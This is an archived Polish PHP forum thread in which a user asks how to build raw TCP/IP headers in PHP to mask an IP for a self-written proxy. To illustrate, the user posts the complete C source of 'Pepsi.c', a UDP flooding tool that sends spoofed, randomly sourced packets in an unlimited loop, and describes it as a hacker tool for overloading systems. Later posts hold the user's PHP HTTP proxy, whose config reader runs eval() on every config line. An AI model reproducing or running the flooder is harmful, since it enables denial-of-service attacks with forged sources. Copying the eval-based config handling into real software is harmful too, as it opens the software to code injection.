Pomoc - Szukaj - Użytkownicy - Kalendarz
Pełna wersja: Nagłówki TCP/IP w PHP
Forum PHP.pl > Forum > PHP > Pro > Archiwum Pro
tajga
Jak zbudować nagłówek tcp/ip w php? Wiem jak to zrobić w C, ale chciałbym to w php.
dragossani
Jakieś szczegóły? php to trochę inny poziom warstwy komunikacyjnej. W jakim celu chcesz budować nagłówek TCP/IP w php?
tajga
Buduję server proxy, potrzebuję zamaskować adres IP.
dragossani
Piszesz serwer proxy w php? Jesteś pewien, że to dobry pomysł?
tajga
dlaczego, działa całkiem sprawnie.
dragossani
Kod jest opensource? Mógłbyś podać jakiś namiar gdzie można obejrzeć źródła?

Widzę, że nikt poza mną nie zainteresował się na razie twoim pytaniem. To dość dziwne, bo to ciekawy temat.

Skoro wiesz jak zbudować nagłówek w C to kod w php sprowadza się do przetłumaczenia tego co już masz. Udostępnij fragment kodu w C - będzie można się do niego odnieść.
tajga
ok zaraz nadeślę
Jabol
hehe, racja dragossani. Zresztą temat serwerów w php sam już poruszałem. Również chciałbym coś takiego zobaczyć. Aha, i jestem ciekawy w jaki sposób odczytujesz dane przekazane przez użytkownika i jak na nie odpowiadasz (readline, print, czy jak??), bo ten problem mnie już dawno męczy.
tajga
server komunikuje się na jakimś porcie, po prostu czytac z okreslonego portu, aby dowiedzieć się jaki jest IP klienta wystarczy wywołać funkcję
socket_getpeername($clisock, $IP);
w zmiennej $IP jest adres klienta.

Mnie osobiście interesuje budowanie nagłówków tcp/ip.
tajga
W C wygląda to tak że są odpowiednie struktury danych nagłówków IP, TCP. Poprostu wypełnia się je i wysyła. Struktury te są zdefiniowanie w plikach
<netinet/ip.h>
<netinet/tcp.h>
<arpa/inet.h>
<netinet/udp.h>

zamieszczam przykładowy program w C wykorzystujacy budowę nagłówków. Program nazywa się PEPSI i jest popularnym programem do przeciążąnia systemów tzn "flooding", używany przez hakerów.

Kod
#define FRIEND "My christmas present to the Internet -Soldier"

#define VERSION "Pepsi.c v1.7"

#define DSTPORT 7

#define SRCPORT 19

#define PSIZE 1024

#define DWAIT 1

/*

* Inkludy

*/

#include <fcntl.h>

#include <syslog.h>

#include <unistd.h>

#include <stdlib.h>

#include <string.h>

#include <netdb.h>

#include <netconfig.h>

#include <stdio.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <netinet/in.h>

#include <netinet/in_systm.h>

#include <netinet/ip.h>

#include <netinet/tcp.h>

#include <arpa/inet.h>

#include <signal.h>

#include <netinet/udp.h>

#include <string.h>

#include <pwd.h>

/*

* Baner.

*/

void banner()

{

printf( "ttt%s Author - Soldier n", VERSION );

printf( "ttt [10.27.97] nn" );

printf( "This Copy Register to: %snn", FRIEND );

}

/*

* Deklaracje opcji.

*/

struct sockaddr_in dstaddr;

unsigned long dst;

struct udphdr *udp;

struct ip *ip;

char *target;

char *srchost;

int dstport = 0;

int srcport = 0;

int numpacks = 0;

int psize = 0;

int wait = 0;

void usage(char *pname)

{

printf( "Usage:n " );

printf( "%s [-s src] [-n num] [-p size] [-d port] [-o port] [-w wait] <dest>nn", pname );

printf( "t-s <src> : source where packets are coming fromn" );

printf( "t-n <num> : number of UDP packets to sendn" );

printf( "t-p <size> : Packet size [Default is 1024]n" );

printf( "t-d <port> : Destination port [Default is %.2d]n",

DSTPORT );

printf( "t-o <port> : Source port [Default is %.2d]n",

SRCPORT );

printf( "t-w <time> : Wait time between pkts [Default is 1]n" );

printf( "t<dest> : Destinationn" );

printf( "n" );

exit(EXIT_SUCCESS);

}

/*

* Kod sumy kontrolnej, original by Soldier.

*/

unsigned short in_cksum(u_short *addr, int len)

{

register int nleft = len;

register u_short *w = addr;

register int sum = 0;

u_short answer = 0;

while (nleft > 1 )

{

sum += *w++;

sum += *w++;

nleft -= 2;

}



if (nleft == 1)

{

*(u_char *)(&answer) = *(u_char *)w;

sum += answer;

}

sum = (sum >> 17) + (sum & 0xffff);

sum += (sum >> 17);

answer = -sum;

return (answer);

}

void main(int argc, char *argv[])

{

int sen;

int i;

int unlim = 0;

int sec_check;

int opt;

char *packet;

struct hostent *host = NULL;

unsigned long a;

/*

* Rozpoczynamy od banera.

*/

banner();

/*

* Opcje debugowania.

*/

openlog( "PEPSI", 0, LOG_LOCAL5 );

if (argc < 2)

usage(argv[0]);

while ((opt = getopt(argc, argv, "s:d:n:p:w:o:")) != EOF)

{

switch(opt)

{

case 's':

srchost = (char *)malloc(strlen(optarg) + 1);

strcpy(srchost, optarg);

break;

case 'd':

dstport = atoi(optarg);

break;

case 'n':

numpacks = atoi(optarg);

break;

case 'p':

psize = atoi(optarg);

break;

case 'w':

wait = atoi(optarg);

break;

case 'o':

srcport = atoi(optarg);

break;

default:

usage(argv[0]);

break;

}

if (!dstport)

{

dstport = DSTPORT;

}

if (!srcport)

{

srcport = SRCPORT;

}

if (!psize)

{

psize = PSIZE;

}

if (!argv[optind])

{

puts( "[*] Specify a target host, doof!" );

exit(EXIT_FAILURE);

}

target = (char *)malloc(strlen(argv[optind]));

if (!target)

{

puts( "[*] Agh! Out of memory!" );

perror( "malloc" );

exit(EXIT_FAILURE);

}

strcpy(target, argv[optind]);

}

memset(&dstaddr, 0, sizeof(struct sockaddr_in));

dstaddr.sin_family = AF_INET;

dstaddr.sin_addr.s_addr = inet_addr(target);

if (dstaddr.sin_addr.s_addr == -1)

{

host = gethostbyname(target);

if (host == NULL)

{

printf( "[*] Unable to resolve %stn", target );

exit(EXIT_FAILURE);

}

dstaddr.sin_family = host->h_addrtype;

memcpy((caddr_t) &dstaddr.sin_addr, host->h_addr, host->h_length);

}

memcpy(&dst, (char *)&dstaddr.sin_addr.s_addr, 4);

printf( "# Target Host : %sn", target );

printf( "# Source Host : %sn",

(srchost && *srchost) ? srchost : "Random" );

if (!numpacks)

printf( "# Number : Unlimitedn" );

else

printf( "# Number : %dn", numpacks );

printf( "# Packet Size : %dn", psize );

printf( "# Wait Time : %dn", wait );

printf( "# Dest Port : %dn", dstport );

printf( "# Source Port : %dn", srcport );

/*

* Otwarcie gniazda.

*/

sen = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);



packet = (char *)malloc(sizeof(struct ip *) + sizeof(struct udphdr *) +

psize);

ip = (struct ip *)packet;

udp = (struct udphdr *)(packet + sizeof(struct ip));

memset(packet, 0, sizeof(struct ip) + sizeof(struct udphdr) + psize);

if (!numpacks)

{

unlim++;

numpacks++;

}

if (srchost && *srchost)

{

if (!(host = gethostbyname(srchost)))

{

printf( "[*] Unable to resolve %stn", srchost );

syslog( LOG_NOTICE, "Unable to resolve [%s]", srchost );

exit(EXIT_FAILURE);

}

else

{

ip->ip_src.s_addr = ((unsigned long)host->h_addr);

syslog( LOG_NOTICE, "IP source is [%s]", host->h_name );

}

}

ip->ip_dst.s_addr = dst;

ip->ip_v = 4;

ip->ip_hl = 5;

ip->ip_ttl = 255;

ip->ip_p = IPPROTO_UDP;

ip->ip_len = htons(sizeof(struct ip) + sizeof(struct udphdr) + psize);

ip->ip_sum = in_cksum(ip, sizeof(struct ip));

udp->uh_sport = htons(srcport);

udp->uh_dport = htons(dstport);

udp->uh_ulen = htons(sizeof(struct udphdr) + psize);

for (i=0; i<numpacks; (unlim) ? i++, i-- : i++)

{

if (!srchost)

{

ip->ip_src.s_addr = ((unsigned long)rand());

syslog( LOG_NOTICE, "IP source set randomly." );

}



if (sendto(sen, packet, sizeof(struct ip) + sizeof(struct udphdr) +

psize, 0, (struct sockaddr *)&dstaddr,

sizeof(struct sockaddr_in)) == (-1))

{

puts( "[*] Error sending packet." );

perror( "Sendpacket" );

exit(EXIT_FAILURE);

}

usleep(wait);

}

syslog( LOG_NOTICE, "Sent %d packets to [%s]", numpacks, target );

}
Jabol
Mógłbyś tutaj umieścić sourcy tego proxy, tak z czystej ciekawości.

Co do twojego projektu zawsze można napisać własne rozszerzenie php (w c oczywiście winksmiley.jpg ).
tajga
fakt o tym nie pomyślałem. Dzięki.

kod proxy kożysta z trzech plików
1.) czyta konfiguracje
2.) obsługuje wątki (niestsety tylko pod linuxem)
3.) właściwy proxy

w takiej kolejności zamieszczam pliki:

[php:1:c66766329c]<?php
<?
class ReadConfFile
{
var $file;
var $var_conf;

function ReadConfFile($name_file)
{
$this->file = $name_file;
$this->var_conf = array();
}

function read_Config()
{
$fp = fopen($this->file, 'r');
if($fp){
while(!feof($fp)) {
$conf = trim(fgets($fp, 255));
if(substr($conf,0,1) != "#") {
array_push($this->var_conf, $conf);
};
};
fclose($fp);
} else {
exit();
};

print date("Y-m-d H:i:s")." CONFIG FILE READn";
foreach($this->var_conf as $var){
print $var."n";
};
}

function get_Acces($address, $ip)
{

$ACCESS = -1;
foreach($this->var_conf as $config)
eval($config);

$H = date('H:i');
$CHD = strtolower(date('l'));

$D = explode(",", $DAYES);
$HOST = explode(",", $HOST);
$IP = explode(",", $IP);

if(array_search($CHD, $D) > -1)
{
$ACCESS = 0;
} else {
if($HOUR_FROM > $H or $HOUR_TO < $H)
$ACCESS = 0;
};

if(array_search($address, $HOST) != FALSE || array_search($address, $HOST) > -1) {
$ACCESS = 0;
};

if(array_search($ip, $IP) != FALSE || array_search($ip, $IP) > -1) {
$ACCESS = 0;
};

return $ACCESS;
}
};
?>
?>[/php:1:c66766329c]


[php:1:c66766329c]<?php
<?
class Thread
{
var $uid;
var $gid;
var $pid;

function Thread()
{
pcntl_signal(SIGCHLD, array($this,"sig_handler"));
pcntl_signal(SIGTERM, array($this,"sig_handler"));
pcntl_signal(SIGINT, array($this,"sig_handler"));
$this->uid = 99;
$this->gid = 99;
}

function sig_handler($signo)
{
switch($signo)
{
case SIGTERM:
exit;
break;// handle shutdown tasks
case SIGHUP:
break;// handle restart tasks
case SIGUSR1:
print "Caught SIGUSR1...n"; break;
case SIGCHLD:
while( pcntl_waitpid(-1,$status,WNOHANG) > 0 ) {};
break;
case SIGINT:
exit;
default:
/* not implemented yet...*/
break;
};
}

function start_thread($object, $handler, $time, $arg=array())
{
$CH_PID = pcntl_fork();

if($CH_PID == -1)
{
//not child
}
elseif ($CH_PID == 0)
{
//parent
}
else
{
if(!posix_setsid())
exit;
set_time_limit($time);
$this->pid = posix_getpid();
$this->change_identity();
call_user_func(array($object,$handler),$arg);
exit;
};
exit();
}

function change_identity()
{
if(!posix_setgid($this->gid)) {
print "Unable to setgid to $gid!n";
exit;
}
if(!posix_setuid($this->uid)) {
print "Unable to setuid to $uid!n";
exit;
};
}

};
?>
?>[/php:1:c66766329c]




[php:1:c66766329c]<?php
#!/usr/local/bin/php
<?
require("c_Thread.php");
require("c_ReadConfFile.php");

class proxy_HTTP
{
var $SERVER_SOCK;
var $LOG;

function proxy_HTTP()
{
$this->LOG = 1;
if(!extension_loaded('sockets'))
dl('php_sockets');
set_time_limit(0);
ob_implicit_flush();
$port = 9000;
$address = "192.168.254.51";
$this->SERVER_SOCK = socket_create(AF_INET, SOCK_STREAM, 0);
socket_set_option($this->SERVER_SOCK, SOL_SOCKET, SO_REUSEADDR, 1);
socket_bind($this->SERVER_SOCK, $address, $port);
socket_listen($this->SERVER_SOCK, 10);
$this->start();
}

function start()
{
$CONFIG = new ReadConfFile("conf");
$CONFIG->read_Config();

do {
if(!$this->SERVER_SOCK)
$this->proxy_HTTP();

if(($clisock = socket_accept($this->SERVER_SOCK)) > 0)
{
$BUF = socket_read($clisock, 2048);
/*
$fs = fopen("url.dat","w");
fputs($fs,$BUF);
fclose($fs);
break;
*/
if(trim($BUF) == "kill") {
socket_close($this->SERVER_SOCK);
break ;
};

eregi("HOST:.*",$BUF,$o);
$BUFF = substr($o[0],5);
$pos = strpos($BUFF,"r");
$address = trim(substr($BUFF,0,$pos));
$address = trim(str_replace("www.","",$address));

socket_getpeername($clisock, $client_ip);
$ACCESS = $CONFIG->get_Acces($address, $client_ip);

if( $ACCESS > -1)
{
$thread = new Thread();
$param[0] = $clisock;
$param[1] = $BUF;
$thread->start_thread($this,'get_connect',20,$param);
unset($thread);
}
else
{
$BUF2 = $this->info();
socket_write($clisock, $BUF2, strlen($BUF2));
socket_close($clisock);
};
}
else
{
break;
};
} while (TRUE);
socket_close($this->SERVER_SOCK);
}

function get_connect($arg)
{
$clisock = $arg[0];
$BUF = $arg[1];

eregi("HOST:.*",$BUF,$o);
$BUFF = substr($o[0],5);
$pos = strpos($BUFF,"r");
$address = trim(substr($BUFF,0,$pos));

if($this->LOG){
socket_getpeername($clisock, $IP);
$arg[0] = $IP;
$arg[1] = $address;
$arg[2] = "GET";
$arg[3] = strlen($BUF);
$this->log($arg);
};

//if(eregi("CONNECT",$BUF)) {
//$BUF = eregi_replace("https://$address","",$BUF);
// $port = 443;
//} else {
$BUF = str_replace("http://$address","",$BUF);
$port = 80;
//};
$fps = fsockopen(gethostbyname($address), $port, $errno, $errstr, 15);
//$socket = socket_create(AF_INET, SOCK_STREAM, 0);
//$stat = @socket_connect($socket, $address, $port);
if($fps)
{
$BUF.="rnrn";
$how_write = strlen($BUF);
//$ok = socket_write($socket, $BUF, $how_write);
fputs($fps, $BUF, $how_write);
//if($ok == $how_write) {
$buffer="";
$how_write=0;
while(!feof($fps))//$BUF = socket_read($socket, 2048)
{
//$how_write+= strlen($BUF);
$buffer.= fgets($fps,255);//$BUF;
$how_write+= strlen($buffer);
};
socket_write($clisock, $buffer, $how_write);
//};
//socket_close($socket);
fclose($fps);
}
else
{
$BUF = $this->info(1);
socket_write($clisock, $BUF, strlen($BUF));
};
socket_close($clisock);
exit();
}

function info($typ=0)
{
switch($typ) {
case 0 : $f = fopen('proxy_ERR/index.html','r'); break;
case 1 : $f = fopen('proxy_ERR/err.html','r'); break;
};
while(!feof($f))
$dat.= fgets($f, 255);
fclose($f);
$data= "HTTP/1.1 200 OKrnPragma: no-cachernCache-Control: no-cachernContent-Type: text/htmlrnContent-Length: ".strlen($dat)."rnConnection: closern";
return $data.$dat;
}

function log($arg)
{
$log = date("Y-m-d H:i:s"). " - IP: ".$arg[0]." OPTION: ".$arg[2]." HOST: ".$arg[1]." SIZE: ".$arg[3]."n";
$f = fopen("proxy_log","a");
fputs($f, $log);
fclose($f);
}
};
new proxy_HTTP;
?>
?>[/php:1:c66766329c]
?>[/php]
tajga
sorry za błędy ortograficzne
tajga
Ze skryptu można korzystać. Mam tylko jedną prośbę gdy ktokolwiek zmodyfikował, lub dodał coś interesującego to bardzo bym prosił o informację na tem temat.

e-mail : marcin@jazztranslation.com
tajga
do sprawnego dzialania trzeba dodać wywołanie funkcji [php:1:7a2f32c30e]<?php
posix_kill($pid,SIGCHLD);
?>[/php:1:7a2f32c30e] na końcu wywołanej funkcji w sekcji THREAD.
[Regis]
O kurka... niezle - w zyciu bym sie nie spodziewal, ze ktos bedzie cos takiego pisal smile.gif Zagadnienie ciekawe w sumie...
squid
Nigdy nie uzywalem TCP/IP bezposrednio w php ale uzywalem HTTP i to w tym protokole wyglada tak:
[php:1:d0ecec1634]<?php
$adres="www.google.pl";
$page_adres="/search/index.html";
$port=80;
$time_limit=30;
set_time_limit($time_limit);
if(!extension_loaded('sockets')) dl("php_sockets.dll");// .so jak po unixem
$like_file_open=fsockopen($adres, $port, $errorno, $error, $time_limit);
if($like_file_open) {
fputs($like_file_open, "HEAD " . $page_adres . " HTTP/1.0rnrn");
while(!feof($like_file_open)) $data[]=fgets($like_file_open, 1000);
fclose($like_file_open);
}
else {
echo "<br>Błąd: " . $errorno . "<br>". $error;
}
reset($data);
while(list($k , $v)=each($data)) echo "<br>Klucz: ".$k." <br>Wartosc: " . $v;

// i tak dalej wszystko tak jak dla pliku do odczytu i zapisu
?>[/php:1:d0ecec1634]
moze TCP/IP robi sie analogicznie podajesz rodzaj i wersje protokolu dlaej robisz co chcesz, co prawda zupelnie nie wiem jak wygladaja naglowki w TCP/IP ale moze cos to komus pomoze winksmiley.jpg ...
squid
Cytat
[php:1:324d066f03]
if(!extension_loaded('sockets'))
[/php:1:324d066f03]

czy przy dynamicznym ladowaniu rozszerzen nie trza podawac rozszerzenia biblioteki .so/.dll questionmark.gif? uswiadomcie mnie
squid
naczy chodzi mi o funkcje dl() a nie extension_loaded()
tajga
możesz pisać dla dl sama nazwę bez rozszerzen
noose
tajga: takie moze to troche glupie.... mozesz podac nazwy dla tych plikow :?: bo jakos sie nie dopatrzylem sad.gif
tajga
A poco ci nazwy tych plików, nazwij je jak chcesz, ale pierwszy nazywa sie "proxy.php", a drugi c_Thrads.php
noose
dzieki. myslalem, ze to ma jakies znaczenie..... tongue.gif
tajga
a co instalujesz proxy ?
noose
to Twoje? tak.... ale cos nie chodzi :?
Cytat
Warning: dl() [function.dl]: Not supported in multithreaded Web servers - use extension statements in your php.ini in c:usrkrasnalwwwproxyproxy.php on line 14

Fatal error: Call to undefined function: socket_create() in c:usrkrasnalwwwproxyproxy.php on line 19
tajga
dwie sprawy:
1.) skrypt nie może działać z serwerem APACHE, lub innym
2.) Aby działał w trybie wielowątkowym musi być uruchomiony w systemach typu V czy UNIX, LINUX.
noose
to z jakim serwerem ma dzialac :?:
tajga
z żadnym, ma działać sam, jak masz pytania to wal :

GG: 1983358
To jest wersja lo-fi głównej zawartości. Aby zobaczyć pełną wersję z większą zawartością, obrazkami i formatowaniem proszę kliknij tutaj.
Invision Power Board © 2001-2025 Invision Power Services, Inc.